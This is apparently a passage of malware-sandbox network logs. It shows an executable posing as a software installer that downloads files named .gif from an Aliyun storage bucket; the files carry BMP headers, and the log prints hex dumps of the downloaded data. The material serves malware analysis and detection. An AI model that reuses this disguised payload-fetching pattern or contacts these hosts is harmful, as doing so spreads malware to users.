2025-04-28 14:40:41 UTC	548	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Mon, 28 Apr 2025 14:40:41 GMT Content-Type: image/gif Content-Length: 3679381 Connection: close x-oss-request-id: 680F93696AD6D53732BE9D66 Accept-Ranges: bytes ETag: "13E05500C7D6372C50091A56CB1EB698" Last-Modified: Sun, 27 Apr 2025 13:21:44 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 14171735027348075836 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: E+BVAMfWNyxQCRpWyx62mA== x-oss-server-time: 31
2025-04-28 14:40:41 UTC	3548	IN	Data Raw: 42 4d 6a 08 00 00 00 00 00 00 36 00 00 00 28 00 00 00 21 00 00 00 15 00 00 00 01 00 18 00 00 00 00 00 34 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3d 68 98 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2d 3a e2 46 51 e5 d9 db fa ff ff ff ff ff ff ff ff ff ff ff ff fd ed e3 f7 b7 8d f2 8c 48 f0 80 36 f0 80 36 f0 7f 36 f0 80 36 f0 7f 36 f0 80 36 f0 80 36 f0 80 36 00 2f 3d e0 2f 3b e3 2f 3b e3 2f 3b e3 2f 3b e3 2f 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e2 2e 3a e2 2e 3a e2 39 45 e4 b2 b7 f4 fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb f9 fc e4 d5 f9 cb ad f7 b9 91 f6 b1 83 f6 b1 84 f7 ba 91 f9 cb ad fc e5 d6 00 2f Data Ascii: BMj6(!4=h.;.;.;.;.;.;.;.:.:.:.:.:.:.:-:FQH66666666/=/;/;/;/;/;.;.;.;.;.;.;.;.;.;.:.:9E/
2025-04-28 14:40:41 UTC	4096	IN	Data Raw: b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{\|}~
2025-04-28 14:40:41 UTC	4096	IN	Data Raw: 68 90 d2 b3 cf 71 1e c6 76 80 e8 32 cd f6 a0 15 aa 3e 43 08 c3 aa 5f 80 3c 36 ca 74 e2 9d 41 60 b6 e5 14 29 c4 aa 4b 15 f3 4b 71 86 65 e1 b0 0d 81 96 ef 17 3c 47 4a ef 6c 92 91 3f 53 9e ed c9 9c 93 87 ff 06 07 8f 47 80 59 0c a2 7b 7c bf 7e 9d 5d 58 13 65 72 0d fb b1 2a 27 80 12 57 58 07 f2 26 55 ef d0 31 0f f0 b7 de 98 aa 56 b2 50 08 6e a3 2c 29 b2 47 53 20 da 1a 7f 74 6e 9e 27 fd 80 1e d9 a3 40 ff 63 ff 59 4e 3c cf e9 97 51 89 56 c0 c7 02 e3 f4 f2 90 71 e8 4c 0a 4a fb 34 28 53 15 32 20 50 a5 b3 c4 02 51 9d 54 fd 48 6d b0 29 36 a4 04 11 62 94 cb 43 4c e7 ae dc ea b5 eb c5 34 fb 14 54 80 16 0c 7a 89 21 be 78 4d ac 24 f9 a1 55 d5 da 04 ea 83 db 25 0f d4 8e 19 76 be 3c 83 84 84 92 ba 66 8b 7e 43 95 11 ac a9 ae 3f 06 99 29 44 90 68 81 54 b9 d7 34 b6 3d 9b 5a Data Ascii: hqv2>C_<6tA`)KKqe<GJl?SGY{\|~]Xer*'WX&U1VPn,)GS tn'@cYN<QVqLJ4(S2 PQTHm)6bCL4Tz!xM$U%v<f~C?)DhT4=Z
2025-04-28 14:40:42 UTC	4096	IN	Data Raw: cb 00 d6 06 59 91 79 00 c2 b0 22 ab 67 ed 50 39 de b4 07 99 db d5 0d ce 19 88 de 01 cb 97 c1 94 03 21 c7 74 cc 79 cc 25 e3 36 41 ba 09 1b 15 27 e6 ea 25 c1 5d 93 76 0d b2 02 62 a4 79 0d 3e e7 55 80 c9 f2 d3 ee ab bf ba 3e 41 c6 e4 40 bd f0 d8 60 6c 70 8b 68 ab 71 b5 ba 26 b4 32 08 2c fe d4 a8 29 0d 99 ec 5f e0 fd af a4 57 bd bc a9 a7 0a d6 ac 30 32 54 e3 92 13 33 04 6a d9 2e 4e 04 35 30 a1 88 aa 41 c8 19 14 1e a2 f9 87 04 26 37 ca 7b 43 12 2f 27 2e 3b 54 6c 6d 05 08 50 a4 94 eb 68 4a 52 25 94 04 a0 c3 0b 04 f1 04 14 1b cf 53 71 94 b6 f2 92 7a 4b 87 af d1 56 74 2e 46 eb cc e7 31 c3 af 08 1d 35 e6 db dd 8d 9a ee b0 5c 49 64 74 b0 da e0 02 f1 42 d8 9a 3e 49 f8 f4 81 01 41 5f 19 c0 e4 84 c0 71 69 1b 6a a9 c1 f9 50 38 89 38 23 5f f5 18 f6 cf cf 20 40 62 3f 58 Data Ascii: Yy"gP9!ty%6A'%]vby>U>A@`lphq&2,)_W02T3j.N50A&7{C/'.;TlmPhJR%SqzKVt.F15\IdtB>IA_qijP88#_ @b?X
2025-04-28 14:40:42 UTC	4096	IN	Data Raw: d8 74 ec 8b fc 8d 55 fd 6e b0 67 5f 59 ee b6 19 3e cd 09 ed ae 86 73 73 ca 85 f6 5f 60 fd 47 61 13 ed e8 2c 0b 0a 44 04 e2 51 af 82 5d aa f8 91 8a 31 37 32 b5 56 98 99 e0 f4 57 33 38 38 b0 ac 13 16 a3 e7 a1 42 b3 7e 8d b7 2e 77 3d 13 b9 3c 75 59 d1 e7 e1 56 15 3e 19 18 54 65 60 7e 40 37 57 c2 e4 f2 4d bd f5 fc 49 17 e7 00 f1 6b d7 07 36 14 6f 8a 89 7c 9c df 2c a6 57 da 08 7c 64 d3 d5 62 3f b0 97 96 b4 66 b0 da 29 25 49 21 64 ea 0f 76 95 43 8e a4 a3 18 5e 0d ec 1b dc 63 ab de 0c 1c b6 bb 35 e5 01 a9 89 08 10 bf b9 0e 48 65 42 43 3d 6c 83 5a 03 ae 25 54 6c a7 8f 8a 3f 66 42 a1 50 95 66 31 93 7d c5 98 ff 02 d5 02 7b 63 65 d2 95 02 25 24 68 fa 7f 16 23 4e be 9d fe 1c 56 3f 0a 6f 22 43 8a 44 fd b7 76 9e 8e 2a d6 89 25 40 47 f4 b4 eb 0a f5 32 8d a4 a7 93 01 ce Data Ascii: tUng_Y>ss_`Ga,DQ]172VW388B~.w=<uYV>Te`~@7WMIk6o\|,W\|db?f)%I!dvC^c5HeBC=lZ%Tl?fBPf1}{ce%$h#NV?o"CDv*%@G2
2025-04-28 14:40:42 UTC	4096	IN	Data Raw: d1 a9 20 33 5d 20 2a 54 73 de 0a 96 75 de 1d 90 9b 4e b6 5c 1d 96 f9 92 a0 5b cd 38 e6 a2 8a c6 66 ff d3 a7 99 01 a4 ae 65 65 dd 8a 81 47 07 b0 df 7d ba f3 a9 cf fe 71 9e a3 64 1f f4 cf a8 c3 14 6a 2b a4 cb f9 84 52 16 80 f4 ce d9 82 36 a4 d4 7d 69 32 54 2d 9e d0 59 34 45 64 10 c8 04 3e 88 f2 c9 72 e8 c9 d0 1d b6 f0 21 60 85 c6 4f 1e ac a4 40 7a f2 d2 4b 87 24 a8 67 c6 3d 18 ac d7 eb b2 40 32 c8 e1 50 ca 08 d9 ed df 77 36 62 fc 55 9c ea 5a 0f 70 9b b4 02 d8 3c d5 95 1e 71 8a 66 c8 1d 36 1f 3a 7f c7 84 c3 f6 9f 29 c4 b2 9a 0d 7b 2e d4 21 6c 9a 73 a5 f0 26 06 d1 cc 7a 50 45 e9 9e 6f 79 f7 02 79 6d da 8e 84 b1 d5 42 d3 bf 67 c3 73 e5 45 05 54 e8 10 4c dc b2 32 02 63 bf 47 33 a3 75 d5 f5 e4 d8 20 04 b4 02 e2 aa cb 1f e7 fb 6b a5 f9 69 21 56 98 46 9c e5 94 30 Data Ascii: 3] *TsuN\[8feeG}qdj+R6}i2T-Y4Ed>r!`O@zK$g=@2Pw6bUZp<qf6:){.!ls&zPEoyymBgsETL2cG3u ki!VF0
2025-04-28 14:40:42 UTC	4096	IN	Data Raw: 25 71 37 cf f1 95 83 4a 2c ac dc a5 39 c1 55 bd 53 d3 0b 72 86 7e 32 4a 1c bc 24 5d 09 f1 55 fd db 5b 3b a2 86 5e 52 aa 3c 9c 54 0d a9 d5 3d 26 dc 65 07 60 f6 09 84 45 95 b7 a4 d6 d5 71 e0 1a cb d4 d7 c0 7b 59 44 e9 d5 e7 06 5c 82 fe c3 23 5a 3b ac 92 cb a7 e6 27 81 6e a9 95 c9 20 dd 68 a5 71 03 df cd 1b cd 69 49 5a 83 cc 2c d4 0d b0 ed 6e 42 0f 1e 45 1d 19 d8 49 4c db 07 ae 9f d8 f8 00 a9 0c d1 52 c6 73 7a 11 e1 1d ac 3d d8 37 d3 d1 ec 32 54 4e 3a db 12 e8 0c 52 f4 59 42 e4 d2 a8 8c 82 5c 51 ba 5c 12 9f b4 7d 84 4e 82 24 22 3f cc 62 4c 61 ba 9b 4b fc 4b c4 3c 94 5d bd cd c1 d3 a3 37 d5 ee 78 33 03 75 24 ee ba 82 46 1d 06 91 d8 f4 11 14 23 f5 50 18 f7 95 33 eb e7 32 d9 a2 0c 95 dc d6 79 2e e2 ce 86 1f 84 c3 b5 a1 cd f3 e9 fb 20 ec 12 94 a3 be 1d f3 aa 60 Data Ascii: %q7J,9USr~2J$]U[;^R<T=&e`Eq{YD\#Z;'n hqiIZ,nBEILRsz=72TN:RYB\Q\}N$"?bLaKK<]7x3u$F#P32y. `
2025-04-28 14:40:42 UTC	4096	IN	Data Raw: 8b 2a 95 b2 18 9e 49 de 10 3e 7a 31 3d 66 1b 7f ba 05 35 64 45 08 d9 69 56 70 99 90 0c 28 43 50 09 76 df da 95 b5 53 ce 67 b8 c3 0d ec e6 67 12 b7 f5 41 94 f7 97 6a 68 31 0f ee 2d 90 90 a7 9a f6 4b 40 74 01 09 10 92 bc 0b 77 7c 25 20 be 43 fe 3f cc f2 0e e8 4c 1d da b1 02 c3 09 83 8f c8 ce 84 41 08 de 60 a0 d5 f2 7b 5c 3c 08 44 5d 26 ad a2 fb fc 1c 1d a0 c2 24 b5 1c 00 c3 ba 8a 64 ef a0 3c 5d 11 8a 6f fe a4 b7 bb e4 e4 b7 72 43 0f 91 0c 08 69 5f fc bf 0d 1f c6 7f 16 24 de 4d dd d2 8b 86 3a 3b 74 f3 4e 84 1b bd d1 c8 30 a8 d1 38 8c 3b a3 fb ea e8 b1 b8 37 f4 49 7b 2c dd 16 d3 e6 79 8d e7 6a f4 f9 a2 a8 49 4a 07 8a 87 d2 99 06 0f 91 4f a6 db 79 59 06 0c 55 5d 11 ca 77 ed c0 3e a1 fa 65 d8 9f c6 a2 22 bd e6 bd a6 fd 1f 8f b3 e5 0c fc e1 55 25 0c ff 21 2e 77 Data Ascii: *I>z1=f5dEiVp(CPvSggAjh1-K@tw\|% C?LA`{\<D]&$d<]orCi_$M:;tN08;7I{,yjIJOyYU]w>e"U%!.w
2025-04-28 14:40:42 UTC	4096	IN	Data Raw: 9b 23 ff 03 9f 25 c9 0c 22 e5 aa 2b f7 5f 5c 6d 61 cf 79 ea 18 d9 1e d1 7f 6a b1 26 38 05 c6 61 67 0e 11 b2 90 e1 76 85 af 9e c9 7e 80 81 06 ad 5f 6a 51 b2 50 5d ce 21 ef c6 1a a8 80 de b6 26 ae 00 ef 20 38 4e 36 ae f6 e0 1f c8 67 7e a1 be b1 58 47 00 cf 86 09 9e 66 80 28 00 d8 0e 06 c6 8e 8b d0 f7 72 fa c8 ed 54 1a af bb 2a 9b 99 dc 64 3e 88 c7 e4 08 5e e8 68 45 2f 0e 41 4f f8 05 ba b0 eb 7d f1 84 94 de 80 30 59 4d af 18 e7 c0 17 a5 37 69 4a 71 25 97 17 92 a4 4d 21 40 96 d7 01 0c a0 75 83 ae 58 81 cd e4 32 33 05 40 6c b9 6f 9a 4c 75 39 80 76 ff c9 74 38 45 14 89 08 fe 02 1f 5e 90 5c e6 d0 46 f2 ff a6 8f 54 f9 50 41 3a 07 76 18 24 f9 18 be 22 28 f6 7f 54 7e 90 d6 c2 b8 97 56 70 4b 8c f3 64 9d b0 9e 8c ec 12 92 6d 59 b4 ab 5a 7f 95 cd f5 57 70 4f d8 95 03 Data Ascii: #%"+_\mayj&8agv~_jQP]!& 8N6g~XGf(rT*d>^hE/AO}0YM7iJq%M!@uX23@loLu9vt8E^\FTPA:v$"(T~VpKdmYZWpO
2025-04-28 14:40:42 UTC	4096	IN	Data Raw: 43 32 a5 66 e4 99 9a 7d 8b 82 3d 8a 74 19 2a f1 d3 fa 25 ea 26 04 7a 98 52 8d 90 93 25 23 67 f4 b2 84 62 25 2e 77 55 9b cf 10 5a 74 a4 19 2e e7 71 d7 a5 f0 a6 c0 02 f9 dc 03 83 f6 da 0d b2 da 0e f6 98 e9 a7 20 87 ab 87 4e ad b2 0e 53 24 e9 6e b0 1f a8 9b a8 d6 1d 46 4b de 2a 0d c4 19 cd ca 63 92 aa 99 cc 01 b5 b6 33 36 f2 dd 2c c1 25 5a 5b e6 0a 69 4c fd 0d 12 b3 62 ba d1 cc 05 44 9e de 9e 76 1f 3e ed 65 91 f9 d2 90 be 50 c3 b6 ed 63 a5 e5 52 2a f2 28 a3 ba b1 03 1d 6d 3e f0 1a e4 a7 9e 01 95 32 5f ca 9f 73 0a c4 5c 11 3a e2 ef f2 7a db de 1c 38 89 dc fd fe 2d ce 5f 60 1f 63 a6 fb f4 6b 61 5c 0b e0 16 17 bc 03 e9 1c a3 64 e6 83 a4 1f 19 7c 63 8c 56 03 f4 47 b9 b0 6b f8 e6 bb b4 1f 29 54 c3 08 cc d4 f1 c6 80 1e 2a 01 ac 31 36 65 cc d9 5b 04 48 1a 47 f3 30 Data Ascii: C2f}=t%&zR%#gb%.wUZt.q NS$nFKc36,%Z[iLbDv>ePcR(m>2_s\:z8-_`cka\d\|cVGk)T16e[HG0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49697	59.110.190.23	443	6876	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 14:40:53 UTC	106	OUT	GET /c.gif HTTP/1.1 User-Agent: 3M Host: 4p2o8p.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-04-28 14:40:53 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Mon, 28 Apr 2025 14:40:53 GMT Content-Type: image/gif Content-Length: 10515 Connection: close x-oss-request-id: 680F9375A645AE3539438EF4 Accept-Ranges: bytes ETag: "0035DC4371138478A84E3BAA8454C764" Last-Modified: Sun, 27 Apr 2025 13:21:23 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 16449065320512397379 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: ADXcQ3EThHioTjuqhFTHZA== x-oss-server-time: 20
2025-04-28 14:40:53 UTC	3550	IN	Data Raw: 42 4d 6a 08 00 00 00 00 00 00 36 00 00 00 28 00 00 00 21 00 00 00 15 00 00 00 01 00 18 00 00 00 00 00 34 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3d 68 98 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2d 3a e2 46 51 e5 d9 db fa ff ff ff ff ff ff ff ff ff ff ff ff fd ed e3 f7 b7 8d f2 8c 48 f0 80 36 f0 80 36 f0 7f 36 f0 80 36 f0 7f 36 f0 80 36 f0 80 36 f0 80 36 00 2f 3d e0 2f 3b e3 2f 3b e3 2f 3b e3 2f 3b e3 2f 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e2 2e 3a e2 2e 3a e2 39 45 e4 b2 b7 f4 fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb f9 fc e4 d5 f9 cb ad f7 b9 91 f6 b1 83 f6 b1 84 f7 ba 91 f9 cb ad fc e5 d6 00 2f Data Ascii: BMj6(!4=h.;.;.;.;.;.;.;.:.:.:.:.:.:.:-:FQH66666666/=/;/;/;/;/;.;.;.;.;.;.;.;.;.;.:.:9E/
2025-04-28 14:40:53 UTC	4096	IN	Data Raw: c8 3f 2e be 0d b9 bd d2 2c 76 2a de 6f a7 ce 06 64 b8 8f 75 21 4d 1c e9 3b 72 26 7d 30 cf c5 06 fe 82 c2 cf e4 bd 53 0a eb 71 86 4f d2 f9 35 77 8a c3 bc 72 ad d6 65 e2 e0 64 70 c0 d4 dd 6b 1d 49 da 2e 07 4b 1d 43 36 53 ae 0a 6c 7f 6b 2d 42 33 fd 7d 70 45 90 a0 8c fc a7 a3 08 e2 97 06 2f 8d bf 82 1c 37 f1 87 24 e2 29 9a b6 82 c8 ce 26 63 24 57 cd 54 26 19 64 96 06 df e6 1a c2 e2 62 48 99 c2 35 ab 8e 80 ce a9 d3 10 33 81 97 14 69 83 bb 2c 3f c2 f0 fa 32 48 fb bc 46 05 b8 52 36 46 9e 5a 48 40 ff 46 75 f7 71 bb 47 28 70 85 3f 99 77 2d ef 0c d4 a4 ef b6 56 d5 ef b4 73 79 83 c8 d9 fd 5f e0 52 3f 12 b2 dc 31 c1 0b 83 f1 ef 4e ae 92 5c 51 cb 46 ff 81 14 dc 5e 82 ad 5d c2 16 b1 44 f3 42 69 e6 d0 6f 90 26 de 28 67 2c d8 50 e2 e9 cb de 62 77 7f 24 de 7c d1 ce 08 b7 Data Ascii: ?.,v*odu!M;r&}0SqO5wredpkI.KC6Slk-B3}pE/7$)&c$WT&dbH53i,?2HFR6FZH@FuqG(p?w-Vsy_R?1N\QF^]DBio&(g,Pbw$\|
2025-04-28 14:40:53 UTC	2869	IN	Data Raw: 2a 1f 62 c2 f3 eb ae 17 07 e0 76 bf b5 ba 60 8f b4 ce 84 53 1b d8 3f 39 93 1e f0 9b 7c 00 36 81 72 d1 4d ef 3b 15 87 e6 91 69 91 40 75 4e 1a 4a e6 61 27 ac 32 16 7b 57 a6 5c aa c8 46 62 03 8e b7 26 3e a4 61 ae 9a 55 23 ea 6f 4d 19 01 28 42 28 c5 80 35 87 dd d5 3e 68 5b 94 7f 79 ef cf 3f 37 81 35 fa 83 99 5b 55 3e 52 3e b6 84 0c 7d de 4c 5c 5a a6 08 57 0e cd e0 c1 08 8c 0c 90 71 ce 6a 12 9a b0 34 27 4d 4f 83 57 73 ca 6a c2 5e 9e 13 d5 74 c2 0b 78 41 57 2f 80 ee 61 fa 85 fb 11 46 91 5c 98 17 29 b5 d6 aa ee 1e 7f f9 cf 64 fc 45 b7 ae b4 6e b4 4b 31 13 91 b9 9c ab ab a7 8b c4 0a 87 b0 9a 0e bc 3d e1 6f c8 86 5f f8 1e ff 70 93 25 42 16 c5 08 0c a8 a4 92 fb 5e 18 a3 e1 28 07 a9 3f b6 ae 54 e8 5c 94 53 3d 95 9d a1 46 d4 a3 f5 ad 7c a0 8d 21 c9 da 17 69 3f c7 39 Data Ascii: *bv`S?9\|6rM;i@uNJa'2{W\Fb&>aU#oM(B(5>h[y?75[U>R>}L\ZWqj4'MOWsj^txAW/aF\)dEnK1=o_p%B^(?T\S=F\|!i?9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49698	59.110.190.23	443	6876	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 14:40:55 UTC	106	OUT	GET /d.gif HTTP/1.1 User-Agent: 3M Host: 4p2o8p.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-04-28 14:40:55 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Mon, 28 Apr 2025 14:40:55 GMT Content-Type: image/gif Content-Length: 3963834 Connection: close x-oss-request-id: 680F93779F27CB3137DF4BA7 Accept-Ranges: bytes ETag: "7389347D4BB06F8A6AC6918F164D86B3" Last-Modified: Sun, 27 Apr 2025 13:21:35 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 4683320065836241410 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: c4k0fUuwb4pqxpGPFk2Gsw== x-oss-server-time: 38
2025-04-28 14:40:55 UTC	3549	IN	Data Raw: 42 4d 6a 08 00 00 00 00 00 00 36 00 00 00 28 00 00 00 21 00 00 00 15 00 00 00 01 00 18 00 00 00 00 00 34 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3d 68 98 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2e 3a e2 2d 3a e2 46 51 e5 d9 db fa ff ff ff ff ff ff ff ff ff ff ff ff fd ed e3 f7 b7 8d f2 8c 48 f0 80 36 f0 80 36 f0 7f 36 f0 80 36 f0 7f 36 f0 80 36 f0 80 36 f0 80 36 00 2f 3d e0 2f 3b e3 2f 3b e3 2f 3b e3 2f 3b e3 2f 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e3 2e 3b e2 2e 3a e2 2e 3a e2 39 45 e4 b2 b7 f4 fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb f9 fc e4 d5 f9 cb ad f7 b9 91 f6 b1 83 f6 b1 84 f7 ba 91 f9 cb ad fc e5 d6 00 2f Data Ascii: BMj6(!4=h.;.;.;.;.;.;.;.:.:.:.:.:.:.:-:FQH66666666/=/;/;/;/;/;.;.;.;.;.;.;.;.;.;.:.:9E/
2025-04-28 14:40:55 UTC	4096	IN	Data Raw: 69 ad ea 79 9e 2c 71 cf be e6 fd 57 6b 53 bc 60 35 a1 ff ba 28 3e 26 8c 61 b8 66 d2 af 60 ed e6 53 a8 cc ad 04 98 92 f4 84 0b a7 46 4f 3b 89 04 6e e6 f3 00 bc 1c 5f 9d 09 30 2f 7a 98 08 8d 31 84 f7 b9 c4 26 c5 25 15 86 c6 8a 5d 9e 5a 55 3e 7d 4b 2c 15 e6 07 90 b4 0c 52 10 07 3a 79 6f 22 39 23 0a 76 6c 70 84 36 e3 41 7f eb d8 4a 72 8d d6 0c 86 6f 5c 72 7b 7e 3b d4 cc 8d b4 d1 83 90 09 a0 b5 27 c6 e8 5c 6f 76 7e 4b 5a c8 a5 f4 52 76 f1 99 11 12 7c 50 db a6 63 d0 7f bd a5 db 86 fc 85 e2 aa 47 4a 58 a7 38 0f d3 3c 65 dd ce c9 c6 9c 9a f4 71 7b 86 d8 db 4c 4f 07 65 49 d4 65 5f fd 52 28 34 4f 84 d2 db 9b fa fb 52 a7 5a f6 d2 9f 1f 7b 8f 79 0c 22 77 87 76 1a da 6a ab 96 19 05 26 88 d7 c0 66 35 2a 6e 02 8c e0 65 0f 1c 3e f4 8d 23 9e 4b d3 50 6b ca 12 17 dd 78 01 Data Ascii: iy,qWkS`5(>&af`SFO;n_0/z1&%]ZU>}K,R:yo"9#vlp6AJro\r{~;'\ov~KZRv\|PcGJX8<eq{LOeIe_R(4ORZ{y"wvj&f5*ne>#KPkx
2025-04-28 14:40:55 UTC	4096	IN	Data Raw: a5 ed 0d c5 80 77 46 e7 2c bc bc 35 a4 0d dd 80 85 93 39 42 dc b1 7b 3a 7f 17 90 37 61 12 f0 09 b2 14 55 96 67 d8 85 71 56 d8 50 67 ad 08 c1 74 68 f1 87 39 f7 a7 ad c2 e4 d1 b9 03 f0 b3 fd c5 36 96 8b ba ad f5 38 a4 8b bd ee 26 e7 8b e4 80 9f ba 1f 50 e0 6c 74 43 db 19 ae d0 08 61 9b f3 14 31 8a b9 2e d7 24 fb aa 93 5a 6f 7b 7c 6f dd 7e ff 39 a5 b6 20 b4 d4 c8 ae 0f 76 91 d4 e3 b6 e7 1d 5f 8c 0c 37 78 c8 ff 18 d5 02 34 10 6b 77 d1 33 9f 30 2b 13 6b 6b 6f b2 24 65 66 ef a1 59 50 50 e0 50 87 b9 54 be 11 0b 85 1c cd 46 3c 87 0b 8e a2 7b 34 f6 d0 df e1 28 55 69 fd b2 15 7c 0f 53 26 ff 1d b1 90 e4 42 56 c1 09 90 9c 49 04 49 62 6c 58 e5 fa e1 25 51 21 34 49 4a f9 ea 5a 91 93 22 de 7a 92 3c b0 9c 41 e9 04 03 b0 74 54 e5 f1 3b 1a 3d c5 14 91 f2 c7 15 d0 05 a0 99 Data Ascii: wF,59B{:7aUgqVPgth968&PltCa1.$Zo{\|o~9 v_7x4kw30+kko$efYPPPTF<{4(Ui\|S&BVIIblX%Q!4IJZ"z<AtT;=
2025-04-28 14:40:55 UTC	4096	IN	Data Raw: c9 cf c9 c3 c9 37 39 3b 39 3f b9 3b 39 37 49 4b 49 4f 49 ad 11 6f 59 5b 59 5f 59 5b 59 57 49 4b 49 4f 49 0f 23 4f 79 7b 79 7f 79 7b 79 77 49 4b 49 4f 49 21 04 6b 59 5b 59 5f 59 5b 59 57 49 4b 49 4f 49 07 d1 11 39 3b 39 3f 39 bf 5a 1e c9 cb c9 cf c9 f5 a9 fd d9 db d9 df d9 d7 be eb c9 cb c9 cf c9 73 49 cc f9 fb f9 ff f9 0f df dd c9 cb c9 cf c9 cb c9 d7 d9 db d9 df d9 db d9 d7 c9 cb c9 cf c9 cb c9 37 39 3b 39 3f 39 3b 39 37 49 4b 49 4f 49 4b 49 57 59 5b 59 5f 59 5b 59 57 49 4b 49 4f 49 4b 49 77 79 7b 79 7f 79 7b 79 77 49 4b 49 4f 49 4b 49 57 59 5b 59 5f 59 5b 59 57 49 4b 49 4f 49 4b 49 37 39 3b 39 3f 39 3b 39 37 c9 cb c9 cf c9 cb c9 d7 d9 db d9 df d9 db d9 d7 c9 cb c9 cf c9 cb c9 f7 f9 fb f9 ff f9 fb f9 f7 c9 cb c9 cf c9 cb c9 d7 d9 db d9 df d9 db d9 d7 c9 Data Ascii: 79;9?;97IKIOIoY[Y_Y[YWIKIOI#Oy{yy{ywIKIOI!kY[Y_Y[YWIKIOI9;9?9ZsI79;9?9;97IKIOIKIWY[Y_Y[YWIKIOIKIwy{yy{ywIKIOIKIWY[Y_Y[YWIKIOIKI79;9?9;97
2025-04-28 14:40:57 UTC	4096	IN	Data Raw: 5b e8 c1 77 21 36 a8 44 e8 08 27 24 0f db dc 99 b9 05 bc 85 db 8e 6c be 48 07 0b 2a 25 61 a5 de 9b bf 03 8e 10 3f 00 11 81 c8 64 7e 0a b6 89 57 22 7f 9b bb 03 a2 ff 2d 81 95 bb 1f 83 40 5c f1 8e f3 62 4f c2 46 38 75 2f eb bf 50 cf 90 4e 8c 33 c2 18 e8 c3 dc 3f 60 65 0c 29 91 2c f9 f6 3a 22 db 0c 4e 74 3a 39 1d 42 43 2a 0b b3 32 6f bd 8e 75 66 55 ea 33 51 70 73 13 e5 c2 0a 27 83 3e b2 e8 40 d1 7c 5a b2 bd c5 ef e7 77 5a 40 8f 9a 50 70 9c cd 22 41 ba ad fd 70 fd b8 24 e5 30 a0 73 49 de 7c 43 52 20 2f 22 ad 79 66 28 ee 6e ce ed 49 38 3c 27 88 ab 93 be 37 bc ba 47 1f 55 1a d0 58 89 44 92 a4 cc 79 64 32 31 1f 32 28 72 2e ce e7 0e b9 c3 0c 40 c6 88 46 ae cf 98 80 5b 32 a9 1b 95 ca 34 b9 a2 79 00 91 b8 c6 d9 eb b7 f9 07 8d cf 8a cc 7c fd 87 95 ad 5f f1 57 f8 91 Data Ascii: [w!6D'$lH%a?d~W"-@\bOF8u/PN3?`e),:"Nt:9BC2oufU3Qps'>@\|ZwZ@Pp"Ap$0sI\|CR /"yf(nI8<'7GUXDyd212(r.@F[24y\|_W
